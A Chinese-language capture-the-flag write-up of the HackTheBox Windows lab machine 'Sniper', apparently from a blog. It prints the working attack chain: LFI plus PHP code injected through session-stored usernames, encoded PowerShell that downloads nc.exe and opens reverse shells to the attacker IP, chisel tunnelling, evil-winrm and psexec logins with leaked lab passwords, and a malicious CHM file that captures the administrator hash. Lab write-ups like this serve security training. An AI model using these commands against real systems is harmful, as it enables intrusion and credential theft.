美文网首页
hackthebox-Sniper--初尝windows靶机

hackthebox-Sniper--初尝windows靶机

作者: byc_404 | 来源:发表于2020-04-01 16:01 被阅读0次

    好久没做htb的靶机,这次又跟着着大佬的思路去做了一台新的靶机。不同以往的是,这次的靶机Sniper是windows靶机,因此也收获了许多新姿势。就是在中间从github下了不少东西......因为不是假期,具体过程不会像以往那么详细。同时windows靶机下自己不太理解的东西也希望不会给别人带进误区。

    有趣的是,这台靶机获得webroot=>user=>root的shell有不同的操作方法,同时具体后面提权时也将有不同的方法进行细节上不同的操作。具体细节将在后面的文章中提到。

    攻击机ip: kalilinux 10.10.15.189
    靶机ip windows10 10.10.10.151

    端口扫描

    首先是老套的端口扫描

    Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 09:20 CST
    Nmap scan report for 10.10.10.151
    Host is up (0.24s latency).
    Not shown: 996 filtered ports
    PORT    STATE SERVICE       VERSION
    80/tcp  open  http          Microsoft IIS httpd 10.0
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-server-header: Microsoft-IIS/10.0
    |_http-title: Sniper Co.
    135/tcp open  msrpc         Microsoft Windows RPC
    139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
    445/tcp open  microsoft-ds?
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    |_clock-skew: 7h02m38s
    | smb2-security-mode: 
    |   2.02: 
    |_    Message signing enabled but not required
    | smb2-time: 
    |   date: 2020-04-01T08:23:29
    |_  start_date: N/A
    
    

    可以看到是一台windows靶机,配有IIS服务。不过开启的几个端口中包含了445端口,这是SMB服务开放的端口。

    port 445: Microsoft Windows SMB Server服务

    著名的永恒之蓝漏洞也是通过这一端口利用的。当然这里并没有什么渗透点,只是说明我们可以通过smbserver连接到靶机,尝试基本的smb连接的话发现必然是要密码的。

    那么还是从80端口入手。访问网页,发现是php网页。IIS+php实际上是非常奇怪的配置,但我们显然可以以此为入手点。

    LFI/RFI=>命令执行=>webshell

    首先在blog下发现一个语言切换功能,其参数可以文件包含。/blog?lang=blog-en.php
    尝试伪协议等常规套路读源码均以失败告终。
    简单读windows的文件?lang=/windows/system32/license.rtf
    发现有回显。那么现在目的是得到一个web-root的shell,如何操作呢?
    此时有一种相对"简单"的办法,利用上面提到的是smb服务。我们再本机kali新建一个smb服务,然后直接rfi进行操作。
    RFI的基本操作套路如下

    /?lang=\\10.10.14.62\share\foo.php
    

    但是需要注意。想通过SMB达成rfi我们必须修改本机的是smb服务的权限,控制文件夹的权限为777等等,操作起来对我这样的小白而言相对困难了。那么有没有其他方法得到webshell呢?

    有,而这也是我学到的不同于常规套路的方法。
    回到之前php网页的思路上。有这样的一个细节可以注意:这是一个windows靶机的php服务,其session值被存储在固定的文件夹了。
    我们尝试一下随意注册一个用户名,并且记录下session值。通过下面的payload包含session

    lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
    

    此时查看包含的结果,发现是含有用户名的序列化数据。那么类似于之前tp5的session固定存储类的漏洞,我们可以从这里下手,将php代码写入session数据。

    首先尝试简单的fuzz,发现用户名过滤了一些关键字。这里直接给出可行的payload及回显

    <?=`whoami`?>
    lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
    username|s:13:"nt authority\iusr
    

    利用短标签加反引号直接执行命令。可以看到成功执行whoami。
    接下来可以写webshell,也可以直接命令执行。这里直接进行命令执行。

    尝试常规的powershell反弹shell失败。之后会发现可能是因为powershell运行在constraintmode的原因。但是不要紧,利用lfi+命令执行我们还有其他方法拿到windows靶机的shell。
    首先找到本机的netcat(即平时使用的nc),把它传到windows机上。(当然需要先建好www文件夹,并把本机的nc.exe复制到里面)
    payload:

    echo 'wget 10.10.15.189/nc.exe -O \windows\temp\exp.exe' | iconv -t utf-16le | base64 -w 0
    

    将准备好的payload进行编码避免过滤。
    注册新用户名为

    <?=`powershell /enc {your encoded  command }`?>
    

    这里使用/enc是powershell对应的解码flag,没使用-enc是为了解决过滤问题。
    然后包含对应的用户的session即可执行。
    再利用lfi检查是否已经把nc传上去了


    很好。那么再进行反弹shell的命令吧。
    payload:

    echo 'c:\windows\temp\exp.exe 10.10.15.189 8899 -e powershell' | iconv -t utf-16le | base64 -w 0
    

    本机监听8899.浏览器包含,并得到webshell

    user shell

    拿到webshell后我们首先检查下源码。很快就有所发现
    \user\db.php中可以发现一个数据库的密码36mEAhz/B8xQ~2VM.而且在User中可以发现用户Chris的存在。

    下面尝试拿到usershell.
    这里将再次用到我们之前使用过的端口转发。不过需要一个工具来帮助我们实现。
    https://github.com/jpillora/chisel
    从githubrelease处下载chisel的linux与windows版本。分别用于本机与靶机。然后wget把windows版本的传输到靶机上。

    kali: chmod +x chisel_linux_amd64
    ./chisel_linux_amd64 server -p 8000 --reverse
    
    shell: wget http://10.10.15.189/chisel.exe -O chisel.exe
        
    portforwarding: .\chisel.exe client 10.10.15.189:8000 R:5985:127.0.0.1:5985 R:3306:127.0.0.1:3306  
    

    开启--reverse允许我们转发端口。而最后一步我们把5985与3306端口转发到本地。5985对应的是WinRM服务,可用于远程管理。我们把它转发到本地后,可以利用另一个渗透工具evil-winrm进行用户登录。

    git clone https://github.com/Hackplayers/evil-winrm
    sudo gem install winrm winrm-fs stringio
    

    只需两步即可使用。
    然后evil-winrm继续登录,直接本地127.0.0.1即可。因为我们端口已经转发好了。
    ./evil-winrm.rb -u chris -p '36mEAhz/B8xQ~2VM' -i 127.0.0.1


    拿到usershell.

    之所以用这么多工具进行user的提权其实是因为这里想要通过其他方法得到usershell要再次反弹shell.
    并且操作起来有点麻烦.这里我简单提一下,就是直接通过powershell命令创建一个属于Chris的变量,然后再反弹shell.

    $pass = convertto-securestring '36mEAhz/B8xQ~2VM' -asplaintext -force
    $cred = new-object system.management.automation.pscredential("sniper\chris", $pass)
    invoke-command -computer sniper -scriptblock { whoami } -credential $cred
    

    变量成功创建的话,最后一条命令的回显应该是sniper\chris
    然后下面的命令可以重新弹shell,得到usershell

    invoke-command -computer sniper -scriptblock { c:\windows\temp\exp.exe 10.10.15.189 1234 -e powershell.exe } -credential $cred
    

    rootshell

    那么又到了最后的root提权时间。
    在C:\docs中可以发现这样一个有趣的txt

      Hi Chris,
      Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it.
      And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
      Regards,
      Sniper CEO.
    

    有意思。似乎在提示我们,传到这个文件夹下的东西可能会被CEO检测。这也就类似xss中我们的payload被检查时可以打到admin的cookie.这里我们是否也能通过可执行文件让administrator检查,拿到administrator的权限呢?
    同样在Chris的Downloads目录下我们发现一个instructions.chm文件。拿到windows本机打开,将发现


    那么我们应该就是要使用chm文件进行操作了。同时利用的思路也大致清楚了:

    1.windows本机下操作生成chm文件
    2.上传chm文件,其中payload将打到本机 #类似xss的道理
    3.监听本机,得到administrator信息。
    

    简单提下chm文件。其实就是html文件的帮助文件系统。而且想要操作起来很简单,只要在win10电脑的C:\Program Files (x86)\HTML Help Workshop中即可找到。
    当然我们还要从微软官网下载最新的https://www.microsoft.com/en-us/download/details.aspx?id=21138
    先创建一个html文件

    <html>
    <body>
    <h1>Hacked by byc_404</h1>
    <img src=\\10.10.15.189\htb\23333.jpg/>
    
    </body>
    </html>
    

    里面的src资源指向我们本机任意资源,说白了就是让admin触发且我们能收到请求而已。
    在windows本机以管理员权限打开hhw.exe,创建test.hpp项目添加我们刚刚的index.html并编译,即可生成一个chm文件。
    然后回到本机,先起一个监听
    responder -I tun0

    wget上传文件到docs文件夹下

    wget http://10.10.15.189/test.chm -O exp.chm
    

    很快就能收到请求


    这是一串管理员密码的hash.到网站上解码可得管理员密码butterfly!#1.

    然后登尝试登陆。由于开放了445端口,我们直接用smb服务可以直接登录。
    当然我没有起smb服务,使用下面github上的python脚本即可替代。

    git clone https://github.com/SecureAuthCorp/impacket   
    pip install .
    python psexec.py Administrator@10.10.10.151
    

    成功拿到rootshell.

    当然还有类似前面的直接反弹rootshell的方法。因为chm文件甚至可以插入powershell命令,所以我们可以直接生成反弹shell的html.这里直接借用看到的dalao的chm。


    或者使用powershell命令生成payload
    https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
    Out-CHM –Payload "C:windows\temp\exp.exe 10.10.15.189 6666 -e powershell.exe" –HHCPath “C:\Program Files (x86)\HTML Help Workshop”
    

    这样就能直接在administrator检查时反弹到shell.

    小结

    这次windows靶机的体验还算不错。因为不熟悉的原因接触了不少新知识。有很多细节还没弄明白,但是也学到了不少windows靶机新知识。的确,CTFer 不能总是待在舒适区。国际赛也好,htb靶机渗透也好,都是接触非国内渗透知识的大好途径。毕竟也打了一段时间比赛了,国内的比赛除了大型比赛能有很多新姿势以及新想法学以外,其他的出题思路或者赛事操作都是老生常谈,拘泥于php或者个别trick的泥潭中。这几天尝试了java题,windows题,都算是一种突破常规的尝试吧。希望自己也能成为有想法的CTFer。而不是一个单纯的CTF赛棍.

    相关文章

      网友评论

          本文标题:hackthebox-Sniper--初尝windows靶机

          本文链接:https://www.haomeiwen.com/subject/crdauhtx.html